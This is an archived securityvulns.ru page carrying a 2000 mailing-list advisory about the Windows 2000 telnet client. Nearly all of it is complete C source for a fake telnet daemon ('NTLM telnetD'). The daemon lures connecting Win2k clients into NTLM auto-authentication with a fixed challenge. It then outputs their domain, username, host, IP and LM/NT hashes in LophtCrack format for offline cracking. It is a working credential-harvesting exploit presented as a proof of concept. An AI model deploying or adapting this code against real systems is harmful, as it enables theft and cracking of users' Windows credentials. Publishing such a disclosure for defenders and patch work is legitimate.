Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Windows NTLM relaying attacks

  Outlook Express and SPA (Secure Password Authentication)

  Authentication flaw in microsoft SMB protocol

  @stake Advisory: NTLM Replaying via Windows 2000 Telnet Client (A 091400-1)

  Security Bulletin (MS00-067)

From:monti <monti_(at)_USHOST.COM>
Date:14.09.2000
Subject:Win2k Telnet.exe malicious server vulnerability

/* NTLM telnetD v0.8

  Snarfs NTLM challenge/response by convincing w2k telnet client to
  auto-authenticate.
  Outputs auth-data in LophtCrack sniff format on stdout.

  compile: gcc -o w2kteld ntlm_telnetd.c
  run: ./w2kteld

  Then wait for w2k to telnet to you.
  for the impatient, there are always ways of making w2k telnet!

  proof-of-concept version. more features to be added.

  by yeza (8/2000)
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define LISTEN_PORT 23
#define LISTENADDR "0.0.0.0"
#define VERBOSE 0            // 1 for verbose
#define CHALLENGE "\xde\xad\xbe\xef\xde\xad\xbe\xef"

#define MAXBUF 2048

/* Below are hardcoded telnet negotiation values.
  These are based on packet sniffs and as little decoding as possible.
  I'm lazy and this isnt really a telnet server so why muck with telnet.h?
*/

static unsigned char *srv_neg1 =
 "\xff\xfd\x25\xff\xfb\x01\xff\xfd\x03\
xff\xfd\x1f\xff\xfd\x00\xff\xfb\x00";
static unsigned int srv_neg1_sz = 18;

static unsigned char *srv_neg2 =
 "\xff\xfa\x25\x01\x0f\x00\xff\xf0";
static unsigned int srv_neg2_sz = 8;


/* Below is the hardcoded NTLM challenge.
  Change the 8-byte challenge above if you dont like the smell of 'deadbeef'
  Change the hostname if desired -- but keep tabs on hostname len, telnet hdr
  size and 'srv_fake_NTLM_challenge_sz' if you do.
*/
static unsigned char *srv_fake_NTLM_challenge =
 "\xff\xfa\x25\x02\x0f\x00\x01" /* telnet auth head                        */
 "\x38\x00\x00\x00"             /* Size of challenge token                 */
 "\x02\x00\x00\x00"             /* L int = 2 ?unknown?                     */
 "NTLMSSP\x00"                      /* Token header            START TOKEN */
 "\x02\x00\x00\x00"                 /* NTLM sequence = 2                   */
 "\x08\x00\x08\x00"                 /* hostname len (twice)                */
 "\x30\x00\x00\x00"                 /* hostname offset                     */
 "\x05\x82\x02\x00"                 /* 4-byte flags                        */
 CHALLENGE                          /* 8-byte challenge                    */
 "\x00\x00\x00\x00\x00\x00\x00\x00" /* unused                              */
 "\x00\x00\x00\x00"                 /* unused len                          */
 "\x38\x00\x00\x00"                 /* unused offset                       */
 "D\x00O\x00I\x00T\x00"             /* hostname "DOIT"(u-code)   END TOKEN */
 "\xff\xf0"                     /* telnet auth tail                        */
 ;
static unsigned int srv_fake_NTLM_challenge_sz = 73;


int printhexdump (unsigned char *buf, int len)
{
    int i;
    for(i=0; i < len; i++) {
        fprintf (stderr, "%02x ", buf[i]);
    }
    fprintf (stderr, "\n");
    return (i);
}

void
cphex (unsigned char *dest, unsigned char *src, unsigned int dlen)
{
   int i;
   for (i=0; i < dlen; i+=2)
   {
       snprintf ((char *)(dest+i), 3,"%02x", src[(i/2)]);
   }

}

void dropconn (int sock) {
    close(sock);
    fprintf(stderr, "\nConnection Closed\n");
}

/* Structure to hold snarfed auth. information */
struct client_info {
   unsigned char user[128];
   unsigned char dom[128];
   unsigned char host[128];
   unsigned char ipaddr[16];
   unsigned char chal[17];
   unsigned char lmh[49];
   unsigned char nth[49];
} cli_info;


/* NTLM TOKEN HEADERS */

/* Request token header structure  */
/* 32 bytes for this header */
struct reqtoken
{
   unsigned char       protocol[8];     // "NTLMSSP\0"
   unsigned int        type;            // 1
   unsigned char       flags[4];        // NTLM flags
   unsigned short      dlen,dlen2;      // Domain length
   unsigned int        dpos;            // Domain position
   unsigned short      hlen,hlen2;      // Hostname length
   unsigned int        hpos;            // Hostname position
   //          unicode domain   (variable length)
   //          unicode hostname (variable length)
};

/* Challenge token header structure */
/* 48 bytes for this header  */
struct chaltoken
{
   unsigned char       protocol[8];     // "NTLMSSP\0"
   unsigned int        type;            // 2
   unsigned short      hlen,hlen2;      // Hostname length
   unsigned int        hpos;            // Hostname position
   unsigned char       flags[4];        // NTLM flags
   unsigned char       chal[8];         // 8-byte NTLM Challenge
   unsigned short      nl,nl2;          // unused length
   unsigned int        np;              // unused position
   unsigned short      tl,tl2;          // unknown, possibly unused
   unsigned int        tlen;            // Total length of token.
   //          unicode hostname (variable length)
   //          unused string... does appear to be used by w2k telnetd
};


/* Response token header structure */
/* 64 bytes for this header */
struct resptoken
{
   unsigned char       protocol[8];     // "NTLMSSP\0"
   unsigned int        type;            // 3
   unsigned short      lmrlen,lmrlen2;  // LM hash response length (24 always)
   unsigned int        lmrpos;          // LM hash response position
   unsigned short      ntrlen,ntrlen2;  // NT hash response length (24 always)
   unsigned int        ntrpos;          // NT hash response position
   unsigned short      dlen,dlen2;      // Domain length
   unsigned int        dpos;            // Domain position
   unsigned short      ulen,ulen2;      // Username length
   unsigned int        upos;            // Username position
   unsigned short      hlen,hlen2;      // Hostname length
   unsigned int        hpos;            // Hostname position
   unsigned short      tl,tl2;          // unknown, presumably unused
   unsigned int        tlen;            // Total length of token
   unsigned char       flags[4];        // NTLM flags
   //          unicode domain   (variable length)
   //          unicode user     (variable length)
   //          unicode hostname (variable length)
   //          lm hash response (24-bytes)
   //          nt hash response (24-bytes)

};


/* Stupid little Unicode helper */
int
lame_ucode(unsigned char *dst, unsigned char *src, int len)
{
   int i;
   for(i=0;i<len;i++){
       *(dst++) = src[i];
       *(dst++) = '\0';
   }
   return (i);
}

/* Stupid little de-Unicode helper */
int
lame_deucode(unsigned char *dst, unsigned char *src, int len, int maxlen)
{
   int i;

   len--;

   if (maxlen < (len)) len=maxlen;

   for(i=0;i<len;i++){
       if (src[i] != '\0')
           *(dst++) = src[i];
   }
   *(dst++) = '\0'; /* Throw in -1- null... !@#$AT THE END!@#$ */
   return(strlen(dst));
}    


void
get_resptoken(unsigned char *src, unsigned int len)
{
   struct resptoken *rp = (struct resptoken *) src;

   lame_deucode(cli_info.user, (unsigned char *) rp+rp->upos,
                rp->ulen, sizeof(cli_info.user));
   lame_deucode(cli_info.host, (unsigned char *) rp+rp->hpos,
                rp->hlen, sizeof(cli_info.host));
   lame_deucode(cli_info.dom, (unsigned char *) rp+rp->dpos,
                rp->dlen, sizeof(cli_info.dom));
   cphex(cli_info.lmh, (unsigned char*) rp+rp->lmrpos, 48);
   cphex(cli_info.nth, (unsigned char*) rp+rp->ntrpos, 48);

}

/* gettoken

  Check 'len' bytes from 'src' as an NTLM token
  fork get_resptoken depending on type.
  Returns 0 if everything looks good.
*/
int
gettoken (unsigned char *src, unsigned int len)
{
   struct chaltoken *srctk = (struct chaltoken *) src;
   unsigned int type = *(src+8);

   /* check protocol */
   if ((strncmp(src, "NTLMSSP\0", 8)) || (type > 3))
        return (-1);

   if(type == 1)
   {
       fprintf(stderr, "Got NTLM request token\n");
       return(0);
   }
   else if(type == 3)
   {
       if(len > (sizeof(struct resptoken)) + 48) {
           fprintf(stderr, "Got NTLM response token\n");
           get_resptoken(src,len);
       } else {
           return(-1);
       }

   } else {
       fprintf(stderr, "Type 2 not handled\n");
       return(-1);
   }

   return(0);
}

void
usage(unsigned char *progname) {
    fprintf(stderr,
            "Usage: %s [options]\n", progname);
    fprintf(stderr,
            "           -v        verbose\n"
            "           -l port   listen on 'port'\n"
            "           -h        help\n");

    exit(1);
}

int
main(int argc, char **argv)
{
    struct sockaddr_in server, client;
    unsigned int lsock, o;
    unsigned int port = LISTEN_PORT;
    unsigned int verbose = VERBOSE;
    ssize_t rlen, ctklen;
    unsigned char rbuf[MAXBUF];
    unsigned char ntlm_challenge[8] = CHALLENGE;

    cphex(cli_info.chal, ntlm_challenge, 16);

    fprintf(stderr,"[ Fake NTLM Telnet Daemon - by yeza ]\n");

    while ((o = getopt(argc, argv, "vl:h")) != -1) {
        switch(o) {
          case 'v':
                  ++verbose;
                  break;
          case 'l':
                  if(optarg) {
                      port = atoi(optarg);
                      break;
                  } else {
                      usage(argv[0]);
                  }
          case 'h':
                  usage(argv[0]);
        }
    }


    lsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (lsock < 0) {
        fprintf(stderr, "Cannot create listening socket: %m\n");
        exit(1);
    }

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(LISTENADDR);
    server.sin_port = htons(port);

    if (bind(lsock, (struct sockaddr *) &server, sizeof(server)) < 0) {
        fprintf(stderr, "Cannot bind socket: %m\n");
        close(lsock);
        exit(1);
    }

    listen(lsock, 200);

    fprintf(stderr, "Listening on port %d\n", ntohs(server.sin_port));
    fprintf(stderr, "Awaiting connections\n\n");

    while (1) {
        int csock, cl_addrlen;
        unsigned int reqlen, resplen;

        if((csock = accept(lsock, 0, 0)) < 0) {
            fprintf(stderr, "Cannot accept socket: %m\n");
            continue;
        }

        cl_addrlen = sizeof(client);

        if(getpeername(csock, &client, &cl_addrlen) < 0) {
            fprintf(stderr, "Cannot get peer name of remote host: %m\n");
            dropconn(csock);
            continue;
        }

        fprintf(stderr, "Connection from: %s\n",
               (char *) inet_ntoa(client.sin_addr.s_addr));

        strncpy(cli_info.ipaddr,(char *)inet_ntoa(client.sin_addr.s_addr), 15);

        /* ============ This begins our telnet auth handshake ===============*/

        /* server sends: (srv_neg1)
           DO AUTHENTICATION, WILL ECHO, DO SUPPRESS GO AHEAD, DO NAWS,
           DO BINARY, WILL BINARY
         */
        send(csock, (char *) srv_neg1, srv_neg1_sz, 0);


        /* client sends back:
           WILL AUTHENTICATION
         */
        rlen = recv(csock, (char *) rbuf, MAXBUF, 0);

        if(verbose>0){
            fprintf(stderr, "\n%d byte response to neg1 =\n", rlen );
            printhexdump(rbuf, rlen);
        }

        if(strncmp(rbuf, "\xff\xfb\x25", 3) != 0) { //just check first 3 bytes
            fprintf(stderr, "Wrong telnet neg1 response from client\n");
            dropconn(csock);
            continue;
        }
        memset(rbuf, '\0', MAXBUF);rlen=0;


        /* server sends: (srv_neg2)
           SB AUTHENTICATION SEND ... SE
          */
        send(csock, (char *) srv_neg2, srv_neg2_sz, 0);


        rlen = recv(csock, (char *) rbuf, MAXBUF, 0);
        if(verbose>0) {
            fprintf(stderr, "\n%d byte response to neg2 =\n", rlen );
            printhexdump(rbuf, rlen);
        }

        if(strncmp(rbuf, "\xff\xfd", 2) != 0) {
            fprintf(stderr, "Wrong telnet neg2 response from client\n");
            dropconn(csock);
            continue;
        }
        memset(rbuf, '\0', MAXBUF); rlen=0;


        /* Receive what should be the NTLM Request Token */

        rlen = recv(csock, (char *) rbuf, MAXBUF, 0);

        if(verbose>0) {
            fprintf(stderr, "\nReceived %d byte request token =\n", rlen );
            printhexdump(rbuf, rlen);
        }
        if(gettoken( rbuf+15, *(rbuf+7)) != 0) {
            fprintf(stderr, "Doesnt look like a NTLM request token.\n");
            dropconn(csock);
            continue;
        }
        memset(rbuf, '\0', MAXBUF);rlen=0;


        /* Send NTLM Challenge Token */
        fprintf (stderr, "Sending NTLM challenge token\n");
        if(verbose>0) {
            printhexdump(srv_fake_NTLM_challenge, srv_fake_NTLM_challenge_sz);
        }

        send(csock, (char *) srv_fake_NTLM_challenge,
                    srv_fake_NTLM_challenge_sz,
                    0);


        /* Receive what should be the NTLM Response Token */
        rlen = recv(csock, (char *) rbuf, MAXBUF, 0);

        if(verbose>0) {
            fprintf(stderr, "\n%d byte response to challenge=\n", rlen );
            printhexdump(rbuf, rlen);
            fprintf(stderr, "\n");
        }
        if(gettoken(rbuf+15, *(rbuf+7)) != 0) {
            fprintf(stderr, "Doesnt look like a NTLM request token.\n");
            dropconn(csock);
            continue;
        }

        memset(rbuf, '\0', MAXBUF);rlen=0;


        /* Were done with this victim */
        dropconn(csock);

        fprintf(stdout, "%s\\%s@%s/%s:3:%s:%s:%s\n",
                        cli_info.dom,
                        cli_info.user,
                        cli_info.ipaddr,
                        cli_info.host,
                        cli_info.chal,
                        cli_info.lmh,
                        cli_info.nth);
        fflush(stdout);
    }

    
    close(lsock);
    return(0);
}

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru